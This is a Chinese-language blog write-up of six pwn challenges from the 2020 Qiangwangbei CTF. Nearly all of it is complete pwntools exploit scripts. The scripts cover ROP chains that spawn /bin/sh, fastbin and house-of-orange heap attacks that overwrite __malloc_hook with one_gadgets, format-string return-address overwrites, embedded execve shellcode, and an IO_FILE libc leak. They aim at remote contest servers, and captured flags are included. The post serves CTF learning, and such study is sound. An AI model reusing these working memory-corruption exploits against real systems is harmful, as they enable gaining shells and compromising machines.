目录
  1. 1. babymessage
  2. 2. babynotes
  3. 3. Just_a_Galgame
  4. 4. Siri
  5. 5. oldschool
  6. 6. easypwn
2020强网杯pwn wp

ctf真是秃头爆肝游戏,肝了两天出了六道pwn,pwn题真的太多了,做到不想做。

最终48名,尽力了,没有进线下。

img

babymessage

leave_message 函数有栈溢出,先构造rop链泄漏libc_addr,然后再次溢出,构造systme(“/bin/sh”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import sys
context.log_level = 'debug'

pwn_name = "babymessage"
arch = '64'
version = '2.27'
ip, port = '123.56.170.202', 21342

if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)

def name(name):
p.sendlineafter("choice:", "1")
p.sendafter("name:", name)

def msg(message):
p.sendlineafter("choice:", "2")
p.sendafter("message:", message)

def show():
p.sendlineafter("choice", "3")


name(p32(256) + "\n")
msg("a" * 8 + p64(0x6010D0 + 4) + "b" * 8)

payload = "/bin/sh\x00".ljust(0x10)
payload += p64(0x400ac3) + p64(0x601038)
payload += p64(0x400ac1) + p64(0x601038) * 2 + p64(0x400670)
payload += p64(0x400ac3) + p64(0x100)
payload += p64(0x40080A)

p.sendafter("message:", payload)
p.recvuntil("done!\n\n")
p.recvuntil("done!\n\n")
read_libc = u64(p.recv(6) + "\x00\x00")
log.success("0x%x" %read_libc)

libc_base = read_libc - 0x110180
log.success("0x%x" %libc_base)
binsh = libc_base + 0x1B40FA
system_ = libc_base + 0x4f4e0

payload = "a" * 0x10
payload += p64(0x400ac3) + p64(binsh) + p64(system_)
p.sendafter("message:", payload + "\n")

p.interactive()

babynotes

free的时候idx可以输入负数,register时刚好输入的age就在chunk_list上面,先泄露出libc_addr和堆的地址,然后更新age为堆块的地址,即可造成堆块复用,然后用fatsbin attack 攻击__malloc_hook为onegadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "babynotes"
arch = '64'
version = '2.23'
ip, port = '123.56.170.202', 43121
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='i386')
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)

def get_one():
if(arch == '64'):
if(version == '2.23'):
#one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
if (version == '2.27'):
one = [0x4f2c5 , 0x4f322 , 0x10a38c]
return one

def sym(func):
success('{} => {:#x}'.format(func , libc.sym[func]))
return libc.sym[func]

def info(con,leak):
success('{} => {:#x}'.format(con,leak))

def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)

one = get_one()

#---------------heap-------------

def register(name,motto,age):
p.sendafter("name: \n",name)
p.sendafter("motto: \n",motto)
p.sendlineafter("age: \n",str(age))

def choice(idx):
p.sendlineafter(">> ", str(idx))

def add(idx, size):
choice(1)
p.sendlineafter('\n', str(idx))
p.sendlineafter('\n', str(size))

def free(idx):
choice(3)
p.sendlineafter('\n',str(idx))

def edit(idx, content):
choice(4)
p.sendlineafter('\n',str(idx))
p.sendafter('\n', content)

def show(idx):
choice(2)
p.sendlineafter('\n',str(idx))

register("n"*0x17,"a"*0x20,0x66666666)

add(0,0x80)
add(1,0x68)
add(2,0x80)
add(3,0x68)

free(0)
free(2)
add(0,0x80)
add(2,0x80)

show(0)
leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc.address=leak-0x3c4b78
info("leak",leak)
info("libc",libc.address)

edit(0,'a'*8)
show(0)
p.recvuntil("a"*8)
leak=u64(p.recv(4).ljust(8,'\x00'))
heap_addr=leak-0x230
info("leak",leak)
info("libc",heap_addr)

choice(5)
register("n"*0x17,"a"*0x20,heap_addr+0x1d0)
free(-3)
edit(1,p64(libc.sym["__malloc_hook"]-0x23))
free(0)
free(2)
add(0,0x68)
add(2,0x68)

edit(2,'a'*0x13+p64(one[3]+libc.address))
free(0)
add(0,0x10)
p.interactive()

#flag{df8791b3e5b410506265d92cd8396e59}

Just_a_Galgame

edit的时候没有检查idx,且有溢出,溢出修改top_chunk的size,需要满足内存页对齐,house of orange 攻击,会有free过后的unsorted bin ,再次申请小堆块,可泄漏libc_addr, 5功能可写入__malloc_hook-0x60的地址进行攻击,然后edit写入onegadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "Just_a_Galgame"
arch = '64'
version = '2.27'
ip, port = "123.56.170.202", 52114
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='i386')
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)


def get_one():
if(arch == '64'):
if(version == '2.23'):
#one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]

if (version == '2.27'):
#one = [0x4f2c5 , 0x4f322 , 0x10a38c]
one = [0x4f365, 0x4f3c2, 0x10a45c]

return one

def sym(func):
success('{} => {:#x}'.format(func , libc.sym[func]))
return libc.sym[func]

def info(con,leak):
success('{} => {:#x}'.format(con,leak))

def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)

one = get_one()


def add(): #0x68
p.sendlineafter(">>","1")

def edit(idx,meg):
p.sendlineafter(">>","2")
p.sendlineafter(">>",str(idx))
p.sendafter(">>",meg)

def add2(): #0x1000
p.sendlineafter(">>","3")

def show():
p.sendlineafter(">>","4")

add()
edit(0,p64(0)+p64(0xd41))

add2()
add()
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ec2a0
print "libc_base = "+hex(libc_base)

malloc_hook = libc_base + 0x3ebc30

p.sendline("5")
p.send(p64(malloc_hook-0x60))

edit(8,p64(one[1]+libc_base))
add()

p.interactive()

#flag{145f2d9125917286c21df2bf470a8a81}

Siri

sub_1212 里面很明显的格式化字符串,先泄露出libc_addr和ebp_addr,然后修改mian函数返回地址为onegadget,最终修改,sub_1212函数返回地址为main函数里面的leave ret,即可跳出while循环,劫持程序执行流为onegadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "Siri"
arch = '64'
version = '2.27'
ip, port = '123.56.170.202',12124
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='i386')
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)

def get_one():
if(arch == '64'):
if(version == '2.23'):
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
if (version == '2.27'):
#one = [0x4f2c5 , 0x4f322 , 0x10a38c]
one = [0x4f365 , 0x4f3c2 , 0x10a45c]
return one

def sym(func):
success('{} => {:#x}'.format(func , libc.sym[func]))
return libc.sym[func]

def info(con,leak):
success('{} => {:#x}'.format(con,leak))

def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)

one = get_one()


#-------------stack----------------

p.sendlineafter(">>> ","Hey Siri!")


payload="Remind me to "+'%'+str(83)+'$p'+'%'+str(85)+'$p'
p.sendlineafter("?\n>>> ",payload)
con=p.recv()

leak=int(con[29:41],16)
libc.address=leak-0x21b97
info("leak",leak)
info("libc",libc.address)

leak=int(con[43:55],16)
main_addr=leak-0xe0

rbp_addr=leak-0x200
info("leak",leak)
info("main_addr",main_addr)
info("rbp_addr",rbp_addr)

p.sendline("Hey Siri!")


attack=(main_addr&0xffff)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(85)+'$hn'
p.sendlineafter("?\n>>> ",payload)


p.sendlineafter(">>> ","Hey Siri!")

attack=(libc.address+one[1]&0xffff)
info("attack",attack)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(0x69+6)+'$hn'
p.sendlineafter("?\n>>> ",payload)


p.sendlineafter(">>> ","Hey Siri!")
attack=((main_addr+2)&0xffff)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(85)+'$hn'
p.sendlineafter("?\n>>> ",payload)

p.sendlineafter(">>> ","Hey Siri!")

attack=(((libc.address+one[1])>>16)&0xff)
info("attack",attack)

payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(0x69+6)+'$hhn'
p.sendlineafter("?\n>>> ",payload)



p.sendlineafter(">>> ","Hey Siri!")
attack=(rbp_addr&0xffff)
payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(85)+'$hn'
p.sendlineafter("?\n>>> ",payload)

p.sendlineafter(">>> ","Hey Siri!")
#dbg(0x12B1)

attack=0xc1
info("attack",attack)

payload="Remind me to "+'%'+str(attack-27)+'s'+'%'+str(0x69+6)+'$hhn'
p.sendlineafter("?\n>>> ",payload)

p.interactive()

oldschool

先泄露出libc_addr,程序申请出了一段固定的可读可写可执行的区域,在里面先填充为shellcode,7功能里面可以溢出修改到__malloc_hook,修改为shellcode的地址即可得到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# -*- coding: utf-8 -*-
from pwn import *
import sys

context.log_level = 'debug'
pwn_name = "./oldschool"
arch = '32'
version = '2.27'
ip, port = '106.14.214.3', 2333
# context.terminal = ['tmux', 'splitw', '-h']
# context(os='linux', arch='i386')
if sys.argv[1] == "l":
p=process(pwn_name)
# p = process(["/glibc/2.23/64/lib/ld-2.23.so", "./pwn"], env={"LD_PRELOAD": "/glibc/2.23/64/lib/libc.so.6"})
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote(ip, port)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf = ELF(pwn_name)




def sym(func):
success('{} => {:#x}'.format(func, libc.sym[func]))
return libc.sym[func]


def info(con, leak):
success('{} => {:#x}'.format(con, leak))


def dbg(address=0):
if address == 0:
gdb.attach(p,exe="./oldschool")
# pause()
else:
if address > 0xfffff:
script = "b *{:#x}\nc\n".format(address)
else:
script = "b *$rebase({:#x})\nc\n".format(address)
# gdb.attach(p, script)




# ---------------heap-------------
def choice(idx):
p.sendlineafter("choice: ", str(idx))


def add(idx, size):
choice(1)
p.sendlineafter(': ', str(idx))
p.sendlineafter(': ', str(size))


def free(idx):
choice(4)
p.sendlineafter(': ', str(idx))


def edit(idx, content):
choice(2)
p.sendlineafter(': ', str(idx))
p.sendafter(': ', content)


def show(idx):
choice(3)
p.sendlineafter(': ', str(idx))


def add2(address):
choice(6)
p.sendlineafter(': ', str(address))


def edit2(idx, val):
choice(7)
p.sendlineafter(': ', str(idx))
p.sendlineafter(': ', str(val))


def dele2():
choice(8)

def write_me(address,string_me):
shellcode = string_me + b"\x00" * 4
shellcode = shellcode[0:(len(shellcode) // 4) * 4]
print(shellcode)
i=0
for item in range(0, len(shellcode) , 4):
print(int.from_bytes(shellcode[item:item + 4], byteorder='little', signed=True))
print(hex(address+i),shellcode[item:item + 4])
edit2(address+i, int.from_bytes(shellcode[item:item + 4], byteorder='little', signed=True))
i+=1

def get_index(address):
index = (address - 0xe0000000) // 4
return index
# -------------stack----------------
# add(0, 0x68)
# add(1, 0x68)
# add(2, 0x68)

# edit(0, 'a' * 0x68 + '\n')
shellcode=b"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc9\xf7\xe1\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
for item in range(9):
add(item,0x90)
for item in range(8):
free(item)
for item in range(7):
add(item,0x90)
add(7,0x10)
show(7)
libc_info=p.recvuntil("\x0a",drop=True)
libc_addr=u32(libc_info[9:9+4])-0x1d8828


add2(0x0)


write_me(0,shellcode)#写入shellcode
print(hex(libc_addr+0x1d8788))

write_me(get_index(libc_addr+0x1d8788),p32(0xe0000000))#malloc_hook
# dbg()
add(15,0x68)

# dbg()
p.interactive()

easypwn

程序没有show功能,还限制了fastbin的大小,利用unsorted bin 攻击 global_max_fast,然后fastbin attack 打iofile,泄露libc_addr,再次fastbin attack打 __malloc_hook为onegadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import*

def exp():
try:
p=remote('39.101.184.181', 10000)
#p = process('./easypwn')
elf = ELF('./easypwn')
libc = ELF('./libc-easypwn.so')

def cmd(idx):
p.sendlineafter("choice:\n",str(idx))

def cmd2(idx):
p.sendafter("choice:",str(idx))

def add(size):
cmd(1)
p.sendlineafter("size:\n",str(size))

def edit(idx,payload):
cmd(2)
p.sendlineafter("idx:",str(idx))
p.sendafter("content:\n",payload)

def free(idx):
cmd(3)
p.sendlineafter("idx:\n",str(idx))

add(0xf8) #0
add(0x68) #1
add(0xf8) #2
add(0xf8) #3
add(0x88) #4
add(0xf8) #5
add(0x68) #6
add(0x68) #7
add(0x68) #8

free(0)
edit(1,"n"*0x60+p64(0x70+0x100))
free(2)
add(0xf8) #0
add(0x68) #2-->1
add(0xf8) #9

free(3)
edit(4,"n"*0x80+p64(0x90+0x100))
free(5)
add(0xf8)
add(0x88) #5-->4
add(0xf8) #10

free(7)
add(0x68) #7
free(4)
edit(5,p64(0)+p16(0x37f8-0x10-0x5)+'\n')
add(0x88) #4

free(6)
free(1)
edit(2,p8(0x70)+'\n')
edit(7,p16(0x25dd)+'\n')

add(0x68) #1
add(0x68) #6
add(0x68) #11

p.sendafter("choice:","2")
p.sendlineafter("idx:","11")
p.sendlineafter("content:","\x00"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0))
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c5600
print "libc_base = "+hex(libc_base)
malloc_hook = libc_base + libc.sym["__malloc_hook"]
og = [0x45226,0x4527a,0xf0364,0xf1207]
one = libc_base + og[2]

free(6)
free(1)
cmd2(2)
p.sendlineafter("idx:",str(2))
p.sendlineafter("content:",p64(malloc_hook-0x23))
add(0x68)
add(0x68)

cmd2(2)
p.sendlineafter("idx:",str(6))

p.sendlineafter("content:","n"*0x13+p64(one))
add(0x100)
p.interactive()

except Exception as e:
print(e)
p.close()

while True:
exp()
文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/08/30/2020强网杯pwn-wp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝